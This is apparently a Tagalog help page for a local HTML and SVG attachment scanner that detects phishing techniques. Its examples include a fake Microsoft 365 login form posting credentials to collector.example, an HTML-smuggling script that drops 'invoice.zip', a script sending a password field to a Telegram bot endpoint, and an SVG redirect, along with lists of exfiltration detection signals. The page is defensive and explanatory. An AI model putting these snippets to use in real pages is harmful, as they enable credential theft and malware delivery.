Balatan ang mga layer ng Base64, hex, URL encoding, gzip, at deflate hanggang sa manatiling mababasa ang teksto.
Bago
Tagapagsuri ng Kalakip na HTML
Tumatakbo nang lokalBago
Ang kasangkapan mismo ay nasa Ingles; ipinaliwanag ito ng pahinang ito sa iyong wika.
Gamitin angTagapagsuri ng Kalakip na HTML
Ano ang ginagawa nito
Mag-upload o i-paste ng isang HTML o SVG na kalakip upang makita kung ano ang gagawin nito kapag binuksan: nakatagong pag-download, mga form na nagpapadala ng password sa ibang lugar, mga redirect, mga endpoint para sa exfiltration, at naka-obfuskang code. Ang file ay binabasa bilang teksto at hindi kailanman nirere-render o pinapatakbo.
Ganap itong tumatakbo sa iyong browser: walang anumang ipinasok mo ang ina-upload.
Paano gamitin ang Tagapagsuri ng Kalakip na HTML
- Huwag buksan ang file.. I-save ang kalakip na .html, .htm, .shtml, .xhtml o .svg nang hindi binubuksan, o kopyahin ang pinagmulan nito bilang teksto.
- I-load o i-paste ito. I-drop ang file sa kahon o piliin ito (hanggang 25 MB), o i-paste ang source (hanggang 5 MB) at pindutin ang Analyze o Ctrl+Enter.
- Basahin ang hatol. Ang itaas na kahon ay nagsasabing Mataas na panganib, Kahina-hinala o Walang natagpuang mataas na panganib na mga pattern, kasama ang mga kategorya sa likod nito at ang bilang ng mga natuklasan, IOCs at mga naka-embed na blob.
- Suriin ang mga natuklasan.. Bawat natuklasan ay nagpapakita ng kaseryosohan nito, kategorya, bilang ng linya, at katugmang pinagmulan, na ang mga link at address ay pinagbawalan.
- I-export ang iyong mga natuklasan. Kopyahin ang mga IOC nang walang kalasag o hilaw, o gamitin ang "Send to" para sa IOC Converter, Abuse Report Generator, o para sa isang naka-embed na blob, sa Multi-Layer Decoder.
Halimbawa
Form ng pag-login na may paunang nakapuno na address
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…Mataas na panganib: ipinapadala ng form ng pag-login ang password sa collector[.]example, tinatawag ng pamagat ang Microsoft 365 sa tabi ng patlang ng password, at pinupunan ng script ang e-mail address mula sa fragment ng URL gamit ang atob. Naglalaman ang listahan ng IOC ng URL ng kolektor at ng domain nito, na defanged.
Ano ang sinusuri nito
| Sinyales | Ano ang ibig sabihin nito |
|---|---|
| Pagtatago ng HTML | Mataas kapag ang pahina ay lumilikha ng isang file sa memorya (Blob gamit ang createObjectURL o isang link sa pag-download, o msSaveOrOpenBlob) at inaalok itong i-download. |
| Mga Porma | Ang anumang form na isinusumite sa ibang site ay binibigyan ng mataas na rating, at ipinapakita sa pamagat kung ito ay may password. Ang talahanayan ng mga form ay naglilista kung saan ipinapadala ang bawat form, pati na ang method at mga field nito. |
| Mga destinasyon ng paglabas ng impormasyon | Ang mga tawag sa Telegram Bot API, mga bot token, Discord webhooks, at mga serbisyo sa pangongolekta ng form tulad ng formspree.io o webhook.site ay mataas ang rating. |
| Pagpapalabo | atob, unescape, fromCharCode, mahahabang escape runs at output ng mga kilalang obfuscator. Ang mga literal na naka-encode na string ay dine-decode nang hindi pinapatakbo. |
| Dynamic na kodigo | Ang `eval`, ang `Function` constructor, `document.write`, at ang mga `innerHTML` na pagtatalaga ay bumubuo ng code o markup sa oras ng pagpapatakbo. |
| Muling pagtuturo | Pagbabago ng lokasyon, window.open, meta refresh at pagbabasa ng URL fragment, kung saan madalas ipinapasa ng mga kit ang email address ng biktima. |
| Kontra-pagsusuri | Blokado ang right-click o F12, mga pahayag ng debugger, pagtuklas ng developer tools at pagsusuri para sa mga awtomatikong browser. |
| Naka-embed na nilalaman | data: URIs, mahahabang Base64 o hex blobs at ang uri ng file na kanilang ididecode, mga nakatagong iframes at mga SVG file na naglalaman ng script. |
| Mga pahiwatig ng tatak | Mga pangalan ng tatak sa pamagat, mga logo o mga link. Sa tabi ng patlang ng password, itinuturing itong katamtaman. |
Karagdagang mga halimbawa
Isang pag-download na nakapaloob sa browser
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>Mataas na panganib, dahilan ng pag-smuggle ng HTML: 1 mataas na paghahanap (ang pahina ay bumubuo ng isang file sa browser at inaalok itong i-download) at 4 na katamtamang paghahanap para sa atob, bagong Blob, URL.createObjectURL at ang download attribute. Walang IOCs.
Isang password na ipinadala sa isang Telegram bot
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>Mataas na panganib, dahilan ng pagtagas ng datos: isang script ang nagpapadala ng datos mula sa isang pahina na may patlang para sa password papunta sa api.telegram.org, pati na rin ang pagtuklas ng Telegram Bot API endpoint. Saklaw ng katamtamang antas ang pagkuha, ang patlang ng password, at isang login form na walang panlabas na aksyon.
Isang SVG na imahe na nagre-redirect
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>Mataas na panganib: SVG na file na may script, kasama ang katamtamang redirect at mababang btoa na paghahanap. Lumilitaw ang target sa ilalim ng Mga Kahilingan at Redirect bilang ibang site, at hindi isinama ang URL ng XML namespace sa mga IOC.
Madalas na tanong
Ano ang hinahanap ng tagasuri?
Ikinukumpara nito ang pinagmulan laban sa mga patakaran para sa pagpuslit ng HTML (Blob, createObjectURL, msSaveOrOpenBlob, mga link sa pag-download, data: URI at mahahabang Base64 blob), mga form at script na nagpapadala ng data sa ibang mga site, exfiltration sa Telegram at Discord, mga redirect, nakatagong iframe, mga obfuscator at mga diskarte laban sa pagsusuri. I-decode din nito ang atob, unescape, at fromCharCode na literal nang hindi pinapatakbo ang mga ito, at inililista ang bawat URL, domain, IP address, at e-mail address na matagpuan nito, na walang nakapipinsalang bahagi.
Maaari ba itong makaligtaan ng isang bagay o magdulot ng maling alarma?
Oo. Ang naka-encrypt o run-time-generated na code ay maaaring itago ang pag-uugali nito mula sa static scan, at ang mga karaniwang pahina ay gumagamit din ng fetch, innerHTML o inline na mga imahe, kaya basahin ang katugmang source na ipinapakita sa tabi ng bawat natuklasan. Para sa deobfuscation at sandboxed emulation, gamitin ang JS Analyzer.
Na-upload ba ang file o binuksan?
Hindi. Ang file ay binabasa bilang teksto sa iyong browser at hindi kailanman nirere-render, tinatakbo, o ipinapadala kahit saan. Tinatanggap ang mga file hanggang 25 MB; para sa napakalaking mga file, sinusuri ang unang 4 MB at huling 1 MB ng markup, at binibilang ang mga naka-embed na blob sa kabuuang file.
Bakit sinusuri ang isang SVG na imahe na parang pahina ng web?
Ang mga SVG file ay XML na binubuksan ng mga browser tulad ng mga pahina, kaya maaari silang maglaman ng mga script, link, at naka-embed na HTML. Hindi kailangan ng isang imahe ng script, kaya mataas ang pagtatasa sa script sa loob ng isang SVG.
Ano ang mga naka-embed na blob?
Mahahabang Base64, hex, o byte-array na mga string sa loob ng file. Dinidecode ang mga ito sa memorya at tinatatakan ng uri ng file na kanilang kinabibilangan; maaari mong kopyahin ang isa o magpadala ng blob ng teksto sa Multi-Layer Decoder.
Ano ang ibig sabihin ng mga antas ng tindi?
Ang mataas na marka ay tumutukoy sa mga pattern na inaasahan ng phishing at mga kalakip na malware, tulad ng pagpuslit, mga endpoint ng exfiltration, o pag-post ng form ng password sa ibang lugar. Ang katamtamang marka ay sumasaklaw sa mga teknik na ginagamit din ng karaniwang mga pahina. Ang isang mataas na natuklasan ang nagdudulot ng hatol na Mataas na panganib.